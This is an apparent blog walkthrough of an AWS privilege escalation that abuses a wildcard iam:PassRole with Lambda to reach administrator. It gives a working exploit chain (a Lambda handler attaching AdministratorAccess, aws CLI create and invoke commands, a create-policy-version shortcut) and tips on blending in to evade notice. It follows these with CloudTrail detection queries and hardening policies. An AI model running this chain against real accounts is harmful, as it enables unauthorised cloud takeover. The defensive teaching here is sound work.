Turning iam:PassRole Into Account Takeover
A realistic AWS privilege-escalation path: from a scoped, read-mostly IAM role to full administrator by abusing iam:PassRole and a compute service — with the enumeration tradecraft, the exploit chain, the CloudTrail trail it leaves, and the controls that actually stop it.
Most AWS compromises I see don't start with a root key on the floor. They start with something boring: a leaked CI token, an SSRF into an instance's metadata service, a developer role with "just enough" access. The interesting part is never the initial foothold — it's the second move, the quiet walk from some access to all access. In a reasonably-run account, that walk almost always passes through a single permission that survives most policy reviews because it looks administrative-adjacent rather than administrative: iam:PassRole.
This is a full walkthrough of that path — enumeration, exploitation, the telemetry it generates, and the controls that neutralize it. The scenario is deliberately mundane so the lesson generalizes to your account, not just mine.
The primitive, in one line:
iam:PassRoleonResource: "*", sitting next to any service that runs code, is equivalent to granting every role that service can assume — including roles far more privileged than you.
The starting position
We've landed as arn:aws:sts::111122223333:assumed-role/ci-deployer/session. The role was written by someone competent. It cannot touch IAM users, cannot read Secrets Manager, cannot assume other roles by name. On paper it is a deployment role and nothing more. Abbreviated, its policy is:
{
"Effect": "Allow",
"Action": [
"lambda:CreateFunction",
"lambda:InvokeFunction",
"lambda:UpdateFunctionCode",
"iam:PassRole",
"logs:*",
"s3:GetObject"
],
"Resource": "*"
}Nothing here contains the string Administrator. But read it again with the primitive in mind: a code-running service (lambda:CreateFunction), the ability to trigger it (lambda:InvokeFunction), and iam:PassRole on *. That is three API calls away from owning the account.
Here is the whole chain before we build it:
ci-deployer (scoped "deployment" role, our foothold)
│
│ iam:PassRole + lambda:CreateFunction
▼
λ log-rotator ──runs as──▶ app-backend (AdministratorAccess)
│
│ lambda:InvokeFunction
▼
iam:AttachUserPolicy ──▶ admin on a principal we control
Step 0: enumerate before you touch anything
The first call is free and non-mutating — always start here to confirm who you are and which account you're in:
aws sts get-caller-identityNow the real question: what can this principal actually do, and which roles can it pass? You rarely get iam:GetAccountAuthorizationDetails from a role like this, so effective permissions have to be inferred, and there are three levels of noise you can choose from.
Quietest — read-only probing. Tools like enumerate-iam brute-force thousands of List*/Get*/Describe* calls and record which return data versus AccessDenied. It only touches read APIs, so it's low-consequence, but it's high-volume and lights up CloudTrail if anyone is watching call rates.
Surgical — the error oracle. For mutating actions you can't safely call, IAM leaks authorization through its error ordering: an unauthorized action returns AccessDenied before the request body is validated, while an authorized action with deliberately malformed parameters returns a ValidationException. The error type tells you whether you hold the permission without completing the action. This is the technique behind Pacu's iam__enum_permissions, and it's how you confirm lambda:CreateFunction is live before you commit to using it.
Loud but complete — the privesc scanner. If you're already past caring about noise, Pacu's iam__privesc_scan enumerates your permissions and maps them against the known escalation methods, then tells you exactly which primitive you hold. On this role it would flag PassRole + Lambda immediately.
The one thing you must establish before acting is which role to pass. iam:PassRole on * means any role in the account, so you want one whose trust policy lets a compute service assume it and whose permissions are broad. You'd normally discover candidates from iam:ListRoles, from Terraform state in a readable S3 bucket, or simply from convention — accounts are littered with *-lambda-exec, *-admin, and OrganizationAccountAccessRole.
For this writeup, assume we found arn:aws:iam::111122223333:role/app-backend — a Lambda execution role carrying AdministratorAccess because "the backend needs to do a lot of things." Its trust policy is the Lambda default:
{
"Effect": "Allow",
"Principal": { "Service": "lambda.amazonaws.com" },
"Action": "sts:AssumeRole"
}That trust policy is the entire game, and it's worth staring at. It trusts lambda.amazonaws.com — the service — not a specific function, not a specific author, not us. It says: any Lambda function in this account may become app-backend. All we need is to become the author of a Lambda function.
Step 1: pass the role into compute you control
PassRole is not something you invoke directly — there is no aws iam pass-role command. It's a permission the IAM engine evaluates on your behalf the moment you hand a role to a service. Here the service is Lambda and the hand-off happens inside CreateFunction.
We write a function whose only job is to abuse the identity it runs as. The cleanest payload doesn't exfiltrate anything — it just widens a principal we already control:
import boto3
def handler(event, context):
# This function executes as app-backend → AdministratorAccess.
iam = boto3.client("iam")
iam.attach_user_policy(
UserName=event["target_user"],
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess",
)
return {"ok": True}Package it and ship it, passing app-backend as the execution role:
zip function.zip handler.py
aws lambda create-function \
--function-name log-rotator \
--runtime python3.12 \
--role arn:aws:iam::111122223333:role/app-backend \
--handler handler.handler \
--zip-file fileb://function.zipThe name log-rotator is not decoration. Blending into an account's noise floor — plausible names, the region resources already live in, the tagging convention everything else follows — is the difference between a finding caught in fifteen minutes and one caught in a quarterly review. This CreateFunction call is the exact instant IAM evaluates iam:PassRole: the engine asks "may ci-deployer pass app-backend to lambda.amazonaws.com?" Because our policy allows PassRole on *, the answer is yes, and the function is created bound to an administrator role.
Step 2: invoke, and inherit
Creating the function proved the pass was allowed. Invoking it is the escalation — from this call onward, our low-privilege session is executing code as AdministratorAccess:
aws lambda invoke \
--function-name log-rotator \
--payload '{"target_user":"ci-service"}' \
--cli-binary-format raw-in-base64-out \
response.jsonWe began with a deployment role. We now control an administrator. And note what we never did: we never violated a single Deny, never touched a resource we were explicitly forbidden. We composed allowed actions in the order IAM is defined to permit. That distinction is the whole point of the next section.
A second door to the same room. If the role had held
iam:CreatePolicyVersionon a customer-managed policy already attached to it, we'd skip Lambda entirely:aws iam create-policy-version --set-as-defaultwith a"*"/"*"document rewrites our own permissions to full admin in one call.PassRole+compute is the most common primitive, but there are dozens of known IAM escalation paths — they nearly all rhyme: an allowed action that quietly rewrites the authorization graph.
Why the boundary failed
The instinct on a policy review is to read iam:PassRole as "can hand off a role" and move on. The precise reading is sharper and worth internalizing:
PassRole delegates the caller's trust in a role to a service, and IAM never evaluates what the service subsequently does with it. It's a one-time gate at hand-off, not a leash. Once Lambda holds app-backend, nothing re-checks whether ci-deployer should have been able to reach the actions app-backend performs.
Two design facts turn that into account takeover:
Resource: "*"carries no privilege ordering. IAM has no built-in notion of "you may only pass roles weaker than yourself." A wildcard passes everything, including roles vastly more powerful than the caller.- A service-principal trust policy is an open door for that entire service.
lambda.amazonaws.comin the trust policy trusts Lambda-the-service, not a function or an author. Whoever can create a function walks through it — which, thanks to the primitive, is us.
This is a textbook confused-deputy: Lambda is the deputy with legitimate authority to assume app-backend, and we've tricked it into wielding that authority on our behalf. Put a wildcard PassRole next to any run-my-code service — Lambda, Glue, EC2, ECS, CloudFormation, SageMaker, Data Pipeline — and you have handed out the union of every role that service can assume.
The trail it leaves
This is loud if anyone is listening — and that's the good news for defenders. PassRole emits no standalone CloudTrail event, but it surfaces inside the consuming call. The CreateFunction management event carries the passed role in plain sight:
{
"eventSource": "lambda.amazonaws.com",
"eventName": "CreateFunction",
"userIdentity": { "arn": ".../ci-deployer/session" },
"requestParameters": {
"functionName": "log-rotator",
"role": "arn:aws:iam::111122223333:role/app-backend"
}
}The signal is the mismatch: a session belonging to ci-deployer passing the app-backend admin role into a brand-new function. An Athena query over your CloudTrail lake that flags any CreateFunction/UpdateFunctionCode where the passed role isn't on an allowlist catches this class of attack outright:
SELECT eventtime,
useridentity.arn AS actor,
json_extract_scalar(requestparameters, '$.role') AS passed_role
FROM cloudtrail_logs
WHERE eventname IN ('CreateFunction', 'CreateFunction20150331',
'UpdateFunctionConfiguration')
AND json_extract_scalar(requestparameters, '$.role')
NOT IN (SELECT role_arn FROM approved_lambda_roles)
ORDER BY eventtime DESC;GuardDuty raises this independently: the PrivilegeEscalation:IAMUser/AdministrativePermissions finding fires when a principal grants itself broad permissions, and the follow-on AttachUserPolicy referencing an AWS-managed admin ARN is a high-signal event on its own. The uncomfortable truth for most orgs is that detection capability was never the gap — the gap is that nobody wrote the rule.
Closing the door
Defense here is layered, and each layer is cheap relative to what it prevents. In rough order of leverage:
1. Scope PassRole — always. The single highest-value fix is to forbid Resource: "*" on iam:PassRole and pin both the role and the consuming service:
{
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": "arn:aws:iam::111122223333:role/app-backend",
"Condition": {
"StringEquals": { "iam:PassedToService": "lambda.amazonaws.com" }
}
}Now the role can only be passed to Lambda, and only that role — not the whole account. The iam:PassedToService condition key is the part most policies omit.
2. Cap the principal with a permission boundary. A boundary sets a ceiling the principal cannot exceed no matter what it passes downstream — and it's the correct tool for letting developers create functions and roles without handing them an escalation primitive.
3. Put a floor under the whole org with an SCP. One Service Control Policy removes an entire family of techniques from every account at once, regardless of any individual role's policy:
{
"Effect": "Deny",
"Action": [
"iam:CreatePolicyVersion",
"iam:SetDefaultPolicyVersion",
"iam:AttachUserPolicy",
"iam:PutUserPolicy"
],
"Resource": "*",
"Condition": {
"ArnNotLike": {
"aws:PrincipalArn": "arn:aws:iam::*:role/break-glass-admin"
}
}
}4. Tighten the trust policies themselves. Where a service role only ever backs known resources, add an aws:SourceArn / aws:SourceAccount condition so it can't be assumed on behalf of arbitrary new functions.
5. Detect the residue. Alert on CreateFunction/UpdateFunctionCode passing non-allowlisted roles, on AttachUserPolicy/PutUserPolicy referencing admin ARNs, and on any use of iam:CreatePolicyVersion. These are rare in healthy accounts and cheap to page on.
Takeaways
iam:PassRoleonResource: "*", next to any compute service, equals every role that service can assume. Read it that way on every review — the word "Administrator" will never appear in the policy that owns your account.- Service-principal trust policies trust the service, not the caller or the resource.
lambda.amazonaws.commeans "any Lambda function," full stop. - The escalation composes allowed actions rather than breaking a rule. Least privilege isn't about denying the obvious — it's about denying the compositions.
- None of it is stealthy. The detections above are roughly a week of work and they close the entire category.
The blunt version of the lesson: an attacker who reaches a role with wildcard PassRole has, for practical purposes, already reached the most privileged role that account's compute can assume. Everything after is paperwork.
